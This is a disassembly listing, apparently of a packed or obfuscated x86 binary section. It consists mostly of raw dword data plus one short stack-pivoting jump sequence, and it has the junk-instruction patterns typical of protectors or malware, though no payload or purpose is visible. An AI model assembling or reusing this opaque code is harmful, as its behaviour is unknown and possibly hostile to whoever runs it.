		dd 1E27839Dh, 10620C9Ch, 5ADE8A8Ah, 1ED19D8Bh, 0C2810613h
		dd 6187h, 11E9h, 0F7686300h, 91846A1Dh,	46ADB3DEh, 23F5555Ah
		dd 0C933805Ah, 8E68BB66h, 90A3C8Bh, 1321B99Dh, 67C78106h
		dd 891DDB5Ah, 1306598Dh, 86F78106h, 29740988h, 131F5185h
		dd 0DBC78106h, 0E864ECD0h, 0Ah,	0BE553DC4h, 15DAB13Ch
		dd 800FAC4Ch, 2, 57586160h, 500A048Fh, 5A1DE881h, 0B85E7FFCh
		dd 7A25C7C6h, 8B03E983h, 13109185h, 0F9814906h,	0FFFF9F18h
		dd 0FF9A850Fh, 0B589FFFFh, 6130E85h, 60018D8Dh,	8D89061Bh
		dd 613312Dh, 1BBD8D89h,	0CE90613h, 0D4000000h, 0C7902C4Dh
		dd 424814C7h, 0C7E3DEC1h, 1318DD85h, 597C06h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 39BBDD5Ch, 6E5E499h,	0C1BF0F3Bh, 158C0Fh, 10E90000h
		dd 7E000000h, 768BF9D3h, 8C7435AEh, 77173C64h, 0C70BA105h
		dd 13305585h, 6, 0EDBD8B00h, 0FF061321h, 131139B5h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 7ECC95C3h, 0FFA18EFEh, 131D8995h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 4E4FAA0Eh
		dd 8EE78DC9h, 85892488h, 6131719h, 95FF006Ah, 6130DA9h
		dd 6EEBC08Bh, 0C7166FE7h, 0B054E63Dh, 91E2D64Ah, 0BF89E84Ch
		dd 0B85DCA7Bh, 6FAD327Eh, 4DB56F9Ch, 36F52603h,	2A589678h
		dd 0A2100A1Ah, 40A9F794h, 319C793Dh, 5C48BEC9h,	6CFA22EFh
		dd 0D826DCFFh, 48E619CDh, 23118594h, 0F476A196h, 7AD9A86h
		dd 1FE54F87h, 928F2FE5h, 1DECAE0Fh, 53185641h, 0FC221182h
		dd 40A73ECFh, 0B4D8C74Bh, 0C1D73059h, 0EBE219h,	4A2E9h
		dd 0ACAA3800h, 0B49A2C0Eh, 0AAA03416h, 0BB95260Ch, 0ACA8351Bh
		dd 0FB101F0Eh, 0E2C8E66Eh, 80A20052h, 9BBD1D2Bh, 97A4024Ah
		dd 14C945B8h, 7F9216B9h, 0E16DBDE3h, 93C2E5C2h,	109DB537h
		dd 72EC9D00h, 3B109DB5h, 0DEC412DAh, 84A3004Ah,	9DB4F551h
		dd 955FBE10h, 7ED26147h, 69EB7A60h, 7ADA6749h, 9577B5Ch
		dd 4F99F849h, 3A3AFFDh,	20BE8A1Dh, 5A5A73Ah, 87F5AAD6h
		dd 13A38716h, 5F85B13Bh, 46B7D76Ah, 0A8374CCh, 40117095h
		dd 55B12403h, 1E0A8375h, 95A4AA3Ch, 65AE1574h, 7C9D9B2Dh
		dd 22B1A32Dh, 0D4823468h, 389AE23Ch, 7796A7A5h,	0A8924716h
		dd 900A7B17h, 0C90A8373h, 83743A94h, 0B582030Ah, 0B4913150h
		dd 73E86293h, 6CB10A83h, 2358E147h, 21AB672Bh, 1DBACC15h
		dd 73F849E8h, 9C755A10h, 9AC7746Bh, 0D99FF41h, 0DDBCF40Eh
		dd 0FE5CADBCh, 55047021h, 5C1C40B9h, 3E509387h,	1672EC21h
		dd 0DA3B0470h, 160E88FDh, 0B6D70470h, 1A0F72Eh,	0BD4B0000h
		dd 8A55E470h, 0F0406245h, 2AB2D362h, 9DB58BDBh,	0ED83AC10h
		dd 0FABB27DBh, 1E7FCD60h, 972127BCh, 587ACB4Ah,	46674705h
		dd 29BBD464h, 90F14021h, 25AF992Eh, 0DAAA233h, 875FBB2Ah
		dd 2728109Eh, 9E875CB6h, 81E02510h, 558CA837h, 40B59231h
		dd 109E86C6h, 99C60E8Fh, 8F919D64h, 66496E16h, 0F863A6F5h
		dd 8508656Fh, 0FD2B0126h, 0C14643D9h, 0A19C126Ch, 885031F7h
		dd 0EB67F5D9h, 6BE9785Ah, 60D9F9DAh, 587A5F75h,	0D8FA4B09h
		dd 0A7C684h, 7DB00D60h,	18B55B8h, 6CFBDF88h, 95BB726h
		dd 0E1240A8Bh, 0C3163880h, 0F4ED2989h, 0CE2446CCh, 160F266h
		dd 7FBE33A2h, 27107Ch, 0D22777F5h, 77F4FC19h, 0B6034716h
		dd 70C189DBh, 6C537011h, 0A94161D7h, 490B5ADBh,	0F0F899F8h
		dd 4ADDC5E2h, 0A62E6FFEh, 1E2F25B4h, 1EBDC522h,	0A21A6239h
		dd 0E81DA6F7h, 4785F6Eh, 2DB7D637h, 9C2B0F30h, 5F9EA5B4h
		dd 8341B5ADh, 95F4FC9Dh, 4789369h, 0E51AEDD2h, 0CA9BB705h
		dd 12CB644Bh, 4C4C6A0Bh, 75527115h, 3138E34Ah, 1EA6B530h
		dd 68C482EFh, 98272B0Ah, 8BEA66F5h, 0E7775BBAh,	13370667h
		dd 0A308EC6h, 6CC899BBh, 684C4973h, 6F725FCCh, 840048h
		dd 5644D6Eh, 37A689A6h,	0FE64B7DBh, 285761A4h, 0FE64B7E2h
		dd 0C3C8FB3h, 0B52827C4h, 0FE64B759h, 4714408Dh, 2708A7C6h
		dd 64B75CB6h, 0D8E025FEh, 8BFADDFAh, 0FE64B70Fh, 0C011B5D8h
		dd 945CBD8Ch, 4161F342h, 5FE93E64h, 0BEA3CB95h,	6F7AEBC8h
		dd 98168EBCh, 1E2F21B2h, 8BCF9EFFh, 90FE4F3Ah, 8AA6015Dh
		dd 2A4BCA0Ah, 0A8DDFA1Bh, 0A8AA62Eh, 0D7F796F7h, 0D61152EDh
		dd 44C24BACh, 850A8AA6h, 0EA7B0A9Dh, 0D3B2D362h, 0D676C709h
		dd 0CD7FD2F8h, 45075A7Ch, 7840EF4h, 67E97A60h, 2B2DB7D6h
		dd 0F060EF9Ah, 0BC103291h, 0BC18468Eh, 5AAD1BFCh, 2E64h
		dd 62507700h, 0ADFBB2AFh, 0A34B15DFh, 0C4EBC8BEh, 0B92EB4D6h
		dd 8ECB158Ah, 8F95B65Fh, 0A6331716h, 1F7E9FAEh,	93B90C4Eh
		dd 0F1433h, 0BDBA0000h,	6F53E26Eh, 6F506EDEh, 8850F84Bh
		dd 0E26EBDCEh, 34FDDC5h, 91CE9BB9h, 9DB5065Ch, 6946C710h
		dd 7E5D8A3Eh, 6E76365Ch, 3FF7E0FFh, 5626C1F0h, 8F2234BCh
		dd 0EB7D29F7h, 0D5B48F22h, 0AD1E5084h, 11E6D10Eh, 8191F783h
		dd 33A2AF39h, 109E8FDBh, 7D5A799Ch, 0B79E5952h,	3B8EA489h
		dd 0A0C14011h, 316DE918h, 0D736109Eh, 680D1F7h,	0A19C1478h
		dd 725031D8h, 15C67308h, 6C000000h, 0C3E06CBDh,	0B51571E4h
		dd 0BFDE109Dh, 4194B635h, 9943AB0Bh, 54E571BDh
		dd 0DC6DDF72h, 52E365FAh, 0E372E070h, 330252DFh, 0C392C20Fh
		dd 1120307Fh, 9EAF9B2Dh, 15242ABCh, 5D545522h, 4C581h
		dd 0ED830000h, 242C8704h, 75A1685Ch, 1C890000h,	30ED6824h
		dd 4890000h, 0A2BE5624h, 813ABF55h, 0E11AA9C6h,	0B9513Fh
		dd 29000000h, 59CE89F1h, 0D0C6C681h, 0F38980BBh, 4EC815Eh
		dd 89000000h, 4812424h,	424h, 53525800h, 41240481h, 5A019004h
		dd 441EA81h, 50890190h,	48B5A08h, 0E7895724h, 4C781h, 0C7810000h
		dd 4, 5C243C87h
		db 8Bh,	1Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		db 97h
		dd 67A41C37h, 0B86760CEh, 61B647Fh, 0E0FFC503h,	787319D8h
		dd 7B72FE3Fh, 6AA9B422h, 68CF356Ah, 64642413h, 0F69ED7Fh
		dd 2B8DBAECh, 54B611Ch,	3B65464Bh, 3C973903h, 5D2C2644h
		dd 5853B431h, 782BCDE1h, 2EB15C60h, 6AFC2970h, 30C456DFh
		dd 7DDFBACCh, 1E379588h, 4E3E73A2h, 5AAE439Ch, 10A5DD50h
		dd 7573260Fh, 3FBA7A7Ch, 2E57567Bh, 26421BD1h, 4B0A0ACh
		dd 124ABA07h, 7FFE42ACh, 34AC60DDh, 19880Fh, 14E90000h
		dd 30000000h, 0E943B70Dh, 7BB5155Dh, 575AF808h,	0C3790A1Dh
		dd 0F869D78h, 0BF0FC1BFh, 0C68166D2h, 8166C1D2h, 0E9093EC6h
		dd 9, 55199A0Ah, 6EDB60B2h, 45E88129h, 0F7360E4h, 85h
		dd 0FC18A00h, 0A84h, 72B86000h,	8066A221h, 0F961B1F2h
		dd 93F28166h, 6E931h, 0BF4F0000h, 26155461h, 2645B960h
		dd 8B661BB8h, 0C18B61DEh, 0BEDA9DBEh, 0BE929h, 45700000h
		dd 6E3EE4DCh, 52A7F016h, 58F18170h, 0BF69E233h,	14590DC7h
		dd 225BB966h, 1AC98166h, 10E909h, 0DD4E0000h, 0E57DE5E5h
		dd 0DA093F45h, 4259C6FDh, 8B522FE8h, 0D68B5FD8h, 0E3C78166h
		dd 897BBBF5h, 92B64C26h, 12E952h, 0E6FB0000h, 48D140Ah
		dd 0F10025F0h, 2CB9053Fh, 4F49135Ch, 668DB358h,	0C981CE8Bh
		dd 271CA840h, 0FE9h, 0AE1D9300h, 30ABFD2h, 0BA95F9B5h
		dd 4B1A752Dh, 3BC78166h, 0FE986h, 0F9700000h, 0B3A6CB3Ah
		dd 0F97D91F5h, 177E178Dh, 2FBB6679h, 10E9FBh, 0CFE30000h
		dd 9F6B7C9Fh, 82283978h, 442DA3C8h, 860F0CABh, 1, 0F08166F8h
		dd 12B6D6BAh, 21F08166h, 92D18152h, 0FC388909h,	0BE8h
		dd 0B2DDDD00h, 82AB5278h, 3BF1C4F9h, 9E9h, 8ABF5200h, 0D3259552h
		dd 815BB92Eh, 2015F6F0h, 13E954h, 0F9F60000h, 0C848EA90h
		dd 6A0E37C9h, 56502D57h, 0CEE46CD9h, 0E9BAB587h, 9, 7D9B0D4Ch
		dd 3CDCA8Bh, 0D88166A6h, 8166C251h, 0E8BD38C7h,	0Ah, 97E517CAh
		dd 2DFAEDB7h, 0DE883B5h, 33000000h, 84110C41h, 0D5002936h
		dd 52ECF534h, 0EFF68166h, 8B5E5999h, 6660F9CBh,	61DAF0BAh
		dd 66606FB4h, 1B8FE8Bh,	6135903Eh, 0DE950h, 28780000h
		dd 2E11D6DBh, 0B6E6AFAFh, 5ECC923Ah, 18A0Fh, 80F50000h
		dd 7E943C0h, 0C4000000h, 0E004FD60h, 6E9DBCCh, 0B5000000h
		dd 15A525EFh, 0C18B668Dh, 0DE8h, 0A41F1E00h, 0C346C478h
		dd 0D326B9DFh, 0D78B89A1h, 0D18B665Fh, 9858C4BBh, 19820F5Bh
		dd 0E9000000h, 14h, 63D7420Eh, 0EA206C95h, 51A88CF8h, 0B0EB8191h
		dd 11CCF69Bh, 0F38B6660h, 495D3DBAh, 8A60617Bh,	0FF560FEh
		dd 8Dh,	0F616100h, 387h, 5EF95700h, 6E9h, 66F06F00h, 816B92F3h
		dd 57FCCFD0h, 208C0F6Bh, 0E8000000h, 14h, 75514423h, 19C8F836h
		dd 0DC72568Bh, 0F96B162Bh, 63526033h, 850Fh, 805A0000h
		dd 0B70FB4D9h, 0F0DB3CFh, 0B83h, 5820F00h, 0BB000000h
		dd 21F32D7Bh, 0CFD18166h, 6ABA6650h, 0F65B360h,	288h, 0F97B100h
		dd 0EE9DEB7h, 0C6000000h, 0F2D1492Dh, 9E04834Ch, 0AE9DD091h
		dd 0AEE98052h, 7E8h, 396DE700h,	887CCE4Bh, 5EC08166h, 860F5F00h
		dd 0
		dd 0B4F18BF9h, 0F8BF0FC8h, 10E950F8h, 20000000h, 11FA7933h
		dd 26A47D4Ah, 82953190h, 5A1391B3h, 58F0Fh, 81660000h
		dd 601C87C3h, 6850Fh, 8C0F0000h, 0
		dd 38B0Fh, 0B70F0000h, 0BE6661FBh, 0CF81A0E5h, 0B55153Fh
		dd 18E0Fh, 66FC0000h, 0CB88F081h, 96EE8166h, 0C880FBEh
		dd 0F000000h, 682h, 810F00h, 0E9000000h, 0Ah, 0B316436Eh
		dd 0D0494A65h, 0D6817AE5h, 60DF632h, 0FE9h, 36DBC800h
		dd 875606D6h, 73EB5A94h, 9B9510B3h, 880Fh, 8F0F0000h, 2
		dd 0B9667AB2h, 0B86666E5h, 9E9431Ah, 91000000h,	193840BEh
		dd 366805Bh, 25B95E57h,	661C1BB4h, 11E9FB8Bh, 0AC000000h
		dd 2C1A7CA0h, 1B1F9B37h, 3A779671h, 0EF2378D9h,	0DE9h
		dd 19E9D700h, 4659C27Ah, 878A624Eh, 0B70F74D8h,	98A0FF8h
		dd 0F000000h, 381h, 0F88B6600h,	0EFB86653h, 0C9815A6Ah
		dd 1129C7DAh, 0A0F5DBBAh, 5840F7Dh, 0BE000000h,	2D49CB44h
		dd 0B8665F57h, 8B66C2CDh, 2EE880D0h, 0BE2616BAh, 0E860FC34h
		dd 7, 4C60ED55h, 66149909h, 0E859F78Bh,	5, 0E70A6BA9h
		dd 6E935h, 92930000h, 0DD5ABECBh, 890F615Eh, 0Eh, 9E9h
		dd 379F9000h, 17998A94h, 81662EAAh, 57D086D7h, 0EE8h, 4113F400h
		dd 8DECFEECh, 15520AECh, 0BB934614h, 36B160Ah, 880F5A58h
		dd 0Bh,	58C0Fh,	0A8B90000h, 0E8152ED3h,	7, 7967B5A9h, 51EE6E46h
		dd 5F586160h, 0AE9F8h, 0F8E80000h, 0B21132BAh, 8360CA64h
		dd 0BF0F5956h, 6850FF2h, 0F000000h, 8Dh, 42BF6600h, 0BB666004h
		dd 0E5B7CB17h, 45D7BA61h, 0BF0F36EAh, 16B966F1h, 11E9F9E1h
		dd 54000000h, 0E14682C6h, 1C0E51EFh, 0A22D29ADh, 731DD64Fh
		dd 0E9C1BF0Fh, 14h, 1D82A720h, 0FD166587h, 0C863DCAAh
		dd 0ABF85F9Ah, 75EDBB0h, 0BE950h, 0CB00000h, 713F3D56h
		dd 0B04F2CF2h, 81535EFFh, 0A4CF7D3h, 11E85F6Eh,	0B0000000h
		dd 0D7363A92h, 0A762ADB7h, 2D8BAEB4h, 0D17D79BCh, 5BCAED80h
		dd 8110E180h, 9DA196E8h, 5660602Fh, 6161605Eh, 5EF95661h
		dd 7DD8E681h, 0EE979CBh, 0EC000000h, 722EEAC6h,	0CBE05984h
		dd 0A1B185F4h, 432DBBFFh, 81600AC5h, 9BAE3EFh, 0AADE8161h
		dd 613F3B5Bh, 0FC38B66h, 0E4BBD6B7h, 562E12D8h,	970F5AB8h
		dd 0EDBF5B1Fh, 666608ABh, 0FC81A9BFh, 6E9h, 9F31BA00h
		dd 0F013CAEh, 486h, 0A5BE6600h,	0C9BF0F7Eh, 38B0Fh, 8B660000h
		dd 51D1BBD1h, 66605013h, 14E9DF8Bh, 0F000000h, 0C5ACAF15h
		dd 3D6D0382h, 0E824A004h, 25F9A571h, 6100934Fh,	12E952h
		dd 2AE0000h, 65EF7550h,	90F9F6CEh, 0C9C848EAh, 576A0E37h
		dd 64D2BA5Fh, 2CB64C5Ch, 0EE8h,	4A769F00h, 2B111D3Ch, 0B7ECC875h
		dd 6629D2A8h, 0AF1DB81h, 8F0F575Bh, 3, 5ED0B70Fh, 0BD4BBF66h
		dd 9E960h, 0E160000h, 203A4CDBh, 8BFAA5A8h, 8A0F61D8h
		dd 3, 8B61FC60h, 0C88AF8F8h, 1B820Fh, 0FE80000h, 6A000000h
		dd 0B13023EBh, 2ECB2266h, 8E4FEA81h, 0C981CEA0h, 1EEB766Fh
		dd 0C981F859h, 40E1E1A1h, 0FA5E980h, 0E853F0B7h, 0Eh, 58C6FA3Ch
		dd 171D12BAh, 0A28C0A0Eh, 81663DB8h, 5AE065D1h,	0E9D88B58h
		dd 13h,	0DF0CC76Fh, 0ED4D2748h,	0E9CFDD88h, 2903DE61h
		dd 0F9A33ABh, 0B85h, 58C0F00h, 0B9000000h, 7E188D94h, 0FBE78150h
		dd 5B1C07CBh, 2830Fh, 0C88A0000h, 8E8h,	0C2866C00h, 0F20F266Dh
		dd 0D4F5806Ah, 9E95Bh, 0C2D90000h, 5EA07EB6h, 0FCD66EFEh
		dd 32BBF66h, 0C6B70F52h, 0F5F38059h, 178D0F52h,	0E9000000h
		dd 12h,	0E1F16AD8h, 0DFC69BA0h,	313C3E42h, 7075E3E9h, 665BB81Ah
		dd 0F10AFB9h, 8Ch, 830F6000h, 6, 840Fh,	0BA660000h, 0B961D008h
		dd 3A05061Dh, 0AE8h, 8C30A800h,	0AC2504E0h, 59A1A17Bh
		dd 89DA8166h, 0D98B66BCh, 0BE9h, 418FB400h, 0F3C37A50h
		dd 0C335A7D9h, 0FEAFB866h, 0FCA8B66h, 0DE80C7BFh, 0E8FE8B82h
		dd 8, 948BA73Fh, 0C029F67Eh, 5FF9B70Fh,	8DE38166h, 0EE99Ch
		dd 0B17E0000h, 5DFE3F44h, 718D5B44h, 0D9BBDD0h,	66F78B66h
		dd 0C88CE781h, 6FC4B966h, 85B2CA8Ah, 8A9DDF80h,	6E9C7h
		dd 35400000h, 331F6F6h,	0B7CEB70Fh, 0DF8B6657h,	6E9h, 0E44ACE00h
		dd 0F6755DCh, 800FC9BFh, 3, 8B23DE80h, 6660F8FBh, 0B9B7F88Bh
		dd 7B63BB61h, 81661EBFh, 666431E3h, 0F9F196B8h,	0BF0F5B53h
		dd 0CF8B66C8h, 208D0Fh,	6E80000h, 35000000h, 0D6D46A0Dh
		dd 0FE984h, 305E0000h, 6F3A2522h, 22F5CAA3h, 5D73BDB8h
		dd 14E95E27h, 2000000h,	8AFB2137h, 60A5AE26h, 0A237BD94h
		dd 9C39C401h, 0B95B83F1h, 3DFAC67Bh, 178C0Fh, 0E9600000h
		dd 0Ah,	0D0273573h, 0CBB91A53h,	830F989Fh, 0
		dd 0F5C88B61h, 14E9h, 0C9C9A200h, 5711D1A6h, 810AB51Ah
		dd 32E9CEAEh, 0BE2B047Eh, 0C61EBBBAh, 14E947C8h, 0FD000000h
		dd 0DFEF0F59h, 1524EB35h, 3B12C076h, 845F16F7h,	0E90FCCF4h
		dd 10h,	8BFEC5A0h, 0F4230F5Dh, 0EECA325Dh, 319D85D8h, 58DEB451h
		dd 39B825B8h, 0AE86041h, 10000000h, 410055F7h, 9E97C623h
		dd 3381BAC2h, 0F597572h, 689h, 810F00h,	61000000h, 0FA8B66F8h
		dd 12E9h, 0EA2A0800h, 77E6DE3Ah, 1D814B0Ah, 8BA98004h
		dd 8B231846h, 0A1B966F7h, 14E994h, 0EA760000h, 29768C7Eh
		dd 0C50BBD40h, 8BD7BA37h, 5A04FFE4h, 0F2817F3Bh, 2F71248h
		dd 6C6910B9h, 0F585659h, 1784h,	12E900h, 0EFFD0000h, 0B1EA8B5Dh
		dd 0F113A418h, 40860A28h, 0FE2A5430h, 0BB66D68Bh, 0BA664FFDh
		dd 5E9E85Eh, 0CB000000h, 12BE5334h, 0F8F18B66h,	0FDFB70Fh
		dd 0E381C3BFh, 675FED9Fh, 188E0FF8h, 0E9000000h, 13h, 5EC6687Ch
		dd 0B2420B04h, 49E29EB7h, 27EC5838h, 0E93295A1h, 13h, 0AA57A119h
		dd 4B50F8EEh, 2D6C7037h, 6CBDAC7h, 0F383331h, 8C0FDBB7h
		dd 7, 0F0BF6660h, 0B761F558h, 83BE66E6h, 0D0BF0F30h, 13E9CF8Bh
		dd 0DB000000h, 98CD51ACh, 27E80A02h, 0AC7CD2ADh, 42CA7E00h
		dd 8166473Bh, 0E9D47BF6h, 0Eh, 81CBFB10h, 3F2FD59Dh, 0AF024773h
		dd 8B66CB53h, 1B32B8CEh, 0E881446Dh, 32B732E7h,	1EF8166h
		dd 7E9FAh, 50B10000h, 49F6DE0Ah, 0B45F57F4h, 68A0F36h
		dd 81000000h, 0BF5D95DFh, 0AFB9F904h, 0BF6DC1F4h, 1DEF1BB5h
		dd 0E998DA80h, 7, 0EF7F0C67h, 0FCF0BD4Fh, 0FF8BF0Fh, 1985h
		dd 11E85600h, 5A000000h, 1A0C7A3h, 0E3A3565Ah, 0AEF52EF7h
		dd 16C0DA3Ah, 0BA66595Ah, 11E92A68h, 5D000000h,	0E6FB3DFAh
		dd 48D140Ah, 0F10025F0h, 2CB9053Fh, 9E8h, 4AA4A100h, 0D8053C92h
		dd 0BB6673E2h, 605EE373h, 60A0F781h, 860F68FAh,	2, 80616160h
		dd 9E981CEh, 57000000h,	0BBA91057h, 4D074315h, 0CE8C68Bh
		dd 0F3000000h, 0C54E937Dh, 4D4C64DCh, 0E9586D34h, 7, 0A31B611Ch
		dd 593309D6h, 53F78166h, 3BE8817Eh, 80498296h, 816622E9h
		dd 0E8A9DBD1h, 8, 2C31A9D6h, 0B97A994h,	0BE8h, 0CE597A00h
		dd 35A932A2h, 0BDFADD15h, 22F28166h, 0F585BBAh,	86h, 0D1816000h
		dd 4206F948h, 6661D98Bh, 81A2C881h, 0C800Fh, 830F0000h
		dd 6, 0F2A5EB81h, 8166469Dh, 66EC19DEh,	7E8DA8Bh, 0A4000000h
		dd 0FE5D886Dh, 42BF79D3h, 5B0BC83Eh, 8E9h, 8FABE500h, 0F65C21DEh
		dd 8B66F80Fh, 860FF5F8h, 5, 3BEE8166h, 0CB8BF988h, 99BF6660h
		dd 6850FAFh, 0F000000h,	85h, 840F6100h,	0
		dd 78A0Fh, 870F0000h, 1, 3C36BFF5h, 8B667869h, 0E8D08BD1h
		dd 7, 0B7B6EDFBh, 66F2F4C2h, 0DA15D181h, 0E956F558h, 0Fh
		dd 0AC5D1605h, 0A093EF93h, 2298ED1Dh, 59ED0C7Dh, 13E9h
		dd 381C0B00h, 0CB8FDE35h, 9721BBA5h, 0C870B353h, 5374B201h
		dd 0CBBF0F60h, 61D6BF0Fh, 0EB80BAB6h, 71EE811Ch, 8000F6E4h
		dd 0C28BFFF7h, 4860Fh, 0BE660000h, 55BE4095h, 0E926EB92h
		dd 0Bh,	54223952h, 8BCD429Ch, 53AB5BFAh, 14E9h,	69E90700h
		dd 0BCF0F39h, 834F152Fh, 0B2490C19h, 6F9DC34Ch,	8B66588Ch
		dd 5260F5CAh, 153A41B9h, 81665F09h, 61C8B2C9h, 0BCD28166h
		dd 496EBEBAh, 830F5195h, 4, 0C8E4BF66h,	65B1C681h, 816663E7h
		dd 8B0669EEh, 0D18166DEh, 0EE803DD4h, 0BF0F60FDh, 49B966D2h
		dd 0DE8161DCh, 42D86842h, 50D6B70Fh, 0DE9h, 8AC30300h
		dd 0DADB2C7Eh, 0E0493A07h, 0B059EEDBh, 0E96060FAh, 5, 0D03A5C45h
		dd 0C381614Ch, 11CF7D86h, 850F5161h, 0
		dd 12E95Eh, 0DB300000h,	0B45155DEh, 22B52220h, 4CF594F8h
		dd 0A931FC8Ch, 71B9E181h, 810F19B5h, 2,	0EB8155B1h, 6A59DA41h
		dd 0AE83EB6h, 0E1000000h, 71234FCh, 73AF2222h, 0FF860B7h
		dd 5E61D1BFh, 8E9h, 9E5FD000h, 0E1C6D59Ah, 7E96Fh, 9D900000h
		dd 0EA12E9EEh, 0C2BF0FB2h, 0F8D8BF0Fh, 66CFB70Fh, 0E9CEADBEh
		dd 14h,	0DEE9823Bh, 16BC149Bh, 4AF3D46h, 9E815A0Ah, 97818584h
		dd 0F781F960h, 564DE79Ah, 0FE861h, 0E1AE0000h, 913C1EC7h
		dd 0C40B3646h, 0C8D8CABh, 6E81Dh, 43E00000h, 0CC694260h
		dd 870Fh, 5E5A0000h, 0F5DF8B66h, 5E8h, 0E1D36600h, 0CE8B3CF2h
		dd 0CDB96659h, 8166535Ah, 5E2EEDD9h, 0AE8h, 0E9B00900h
		dd 0B0C5AA3Ch, 8BCF24D5h, 0C38B5AD7h, 12E9h, 0B823F300h
		dd 6692CD4h, 0A20792B7h, 9C8AA9F1h, 0E80267B8h,	13h, 459D3128h
		dd 0B36D11A7h, 32CC29EAh, 21C4A923h, 523CBBCAh,	5BFEB70Fh
		dd 0F860505Fh, 6170F680h, 0BFCB8059h, 10810Fh, 7E80000h
		dd 0B4000000h, 36367B4Bh, 0E880AB3Bh, 0D38B5E45h, 11E960h
		dd 98440000h, 51801CF3h, 807AE739h, 0C2DA2C0Fh,	538E4B79h
		dd 58DFB70Fh, 47C78061h, 0C18B6657h, 0AE959h, 5BB70000h
		dd 651F65B6h, 8871557Eh, 0E8CA8B66h, 11h, 82D179E8h, 4937BA97h
		dd 0D6A9F5BBh, 0CD1F7DC7h, 5E986h, 0F38E0000h, 5B27AD3Ah
		dd 80F7BF0Fh, 14E925F6h, 43000000h, 69F48F21h, 6E4DAE1Eh
		dd 0D30E9EABh, 0F896D8C9h, 8B5DADA8h, 9E8C7h, 0B76B0000h
		dd 74E0DC61h, 8B9B4389h, 0F08B5FF0h, 0F5C68B60h, 4810F61h
		dd 66000000h, 568B54B9h, 5E8h, 3302E300h, 0BB660543h, 5F5F65FDh
		dd 5E9h, 824FAE00h, 12E9B035h, 52000000h, 0A38119AEh, 5736BAB4h
		dd 593499E9h, 0AC1D99B0h, 20880F53h, 0E8000000h, 0Eh, 6F3602CCh
		dd 0E4F7692Fh, 0A0DE6CABh, 6E86A7Eh, 39000000h,	732B6777h
		dd 0F5E5F73h, 0BF66FAB7h, 0ED808EB6h, 0B860F511h, 4ACE3Bh
		dd 0D0CBBE66h, 65BB6661h, 19820F11h, 0E9000000h, 14h, 1957E6BEh
		dd 0A4E3E228h, 2ADD73Ch, 0BF4F810Dh, 26155461h,	38F0FF8h
		dd 0F000000h, 8E9C6B7h,	0CD000000h, 5297592h, 819C0363h
		dd 4BD550CFh, 850F18h, 80000000h, 830F87D9h, 5,	0F0B70F56h
		dd 0F78B6658h, 48B0Fh, 0BB660000h, 0F78117B5h, 72DC31DCh
		dd 10E8h, 0D9AD8C00h, 903F96C9h, 0D9A02F70h, 729AFDC6h
		dd 8EC2BB58h, 525B7B92h, 5BC38B66h, 0F51D08Ah, 86h, 81665A00h
		dd 661549CEh, 0FB3FCBEh, 1B8Dh,	0CF8B6000h, 12E9h, 2B82DD00h
		dd 60EC430Ch, 75B66B95h, 33B97275h, 61C4FDA0h, 0A92315BBh
		dd 1850F32h, 0F9000000h, 4C93C081h, 0BF663B20h,	0E5809C36h
		dd 81C8B72Fh, 0EEC1EAD0h, 98E6812Eh, 8B11D8F6h,	3ABB51FBh
		dd 5E36CF44h, 0DCB96652h, 0EB815ABBh, 2551C1Dh,	0CD9BBF66h
		dd 890Fh, 0EEBF0000h, 0B72B2F1Eh, 9E969h, 3C240000h, 0C6B49F57h
		dd 0FC0AA1E2h, 68A0Fh, 0F2810000h, 4F8D8F89h, 0D08B6651h
		dd 66E68A5Bh, 0F667CBBh, 885h, 800F5200h, 0
		dd 4FB8665Bh, 840FBCh, 66000000h, 0E6B6DA8Bh, 10E9h, 2A572100h
		dd 0C57BD01Fh, 1FC9E027h, 53E8E6B9h, 61FC6012h,	0B7FA8B66h
		dd 0E381669Dh, 5E560E01h, 0E9CDB6B9h, 1EB9660Ah, 14E9F57Fh
		dd 0C1000000h, 8274A3C1h, 30BE011Ch, 0BFDF9942h, 5C7D7271h
		dd 515C69F2h, 89E78158h, 665EFB3Eh, 0A085D281h,	7060C281h
		dd 0BB66578Dh, 5B533FDBh, 0B1C6B70Fh, 0F890F55h, 0E9000000h
		dd 0Ah,	1FD00377h, 171AE926h, 0BF0FB335h, 0BF0FF5D3h, 28A0FF0h
		dd 8B000000h, 0C88166DFh, 0EA81F3D7h, 6EB53CCDh, 2840Fh
		dd 0F08A0000h, 8310EEBFh, 0F98B6068h, 9E9h, 0A92B7500h
		dd 7ECF3CFCh, 0E961159Fh, 0Bh, 727BC774h, 27608E0Fh, 0E9E35895h
		dd 6, 8FA60F1Ah, 8E92AA3h, 0A3000000h, 184C216Eh, 8B652179h
		dd 3BE981C7h, 0E960D7E2h, 10h, 0B6D34D05h, 6F976D0Dh, 9556F446h
		dd 6A37F501h, 0E7805AB5h, 0BEC28BE9h, 440E9625h, 8B66F5F5h
		dd 10E8F7h, 70C20000h, 0AD47D481h, 26468172h, 0F065D112h
		dd 0C280A1DCh, 0C08158BCh, 4AB3C472h, 38B0Fh, 0BF0F0000h
		dd 7DBB66D9h, 59BB66FFh, 0CFB70FAFh, 11840Fh, 0CE90000h
		dd 63000000h, 89F8AD45h, 4EED632Fh, 6024983Fh, 6635B460h
		dd 255AD681h, 1A880F61h, 0E8000000h, 14h, 75514423h, 19C8F836h
		dd 0DC72568Bh, 0F96B162Bh, 63526033h, 0E953615Fh, 6, 0AB38D5Dh
		dd 805AB2BFh, 8A0FC9D8h, 6, 6040B060h, 0EE816161h, 6E08BDDEh
		dd 59CA8166h, 0F7815308h, 15B206Fh, 0AE95Ah, 8E570000h
		dd 71DB19B8h, 984D0856h, 7E8h, 428C2A00h, 9C8071DDh, 9A89BE66h
		dd 0CA81665Bh, 9E85312h, 2F000000h, 2FCDBE74h, 0E09B0A27h
		dd 0BB5FD38Bh, 409A448h, 298860BBh, 0D981535Ch,	9A7C474h
		dd 0E981665Bh, 0D38B9C22h, 0E5C8BE66h, 6BEE8166h, 3810F37h
		dd 66000000h, 8166D98Bh, 0F9FBF6C1h, 29C880F8h,	0FFE8B66h
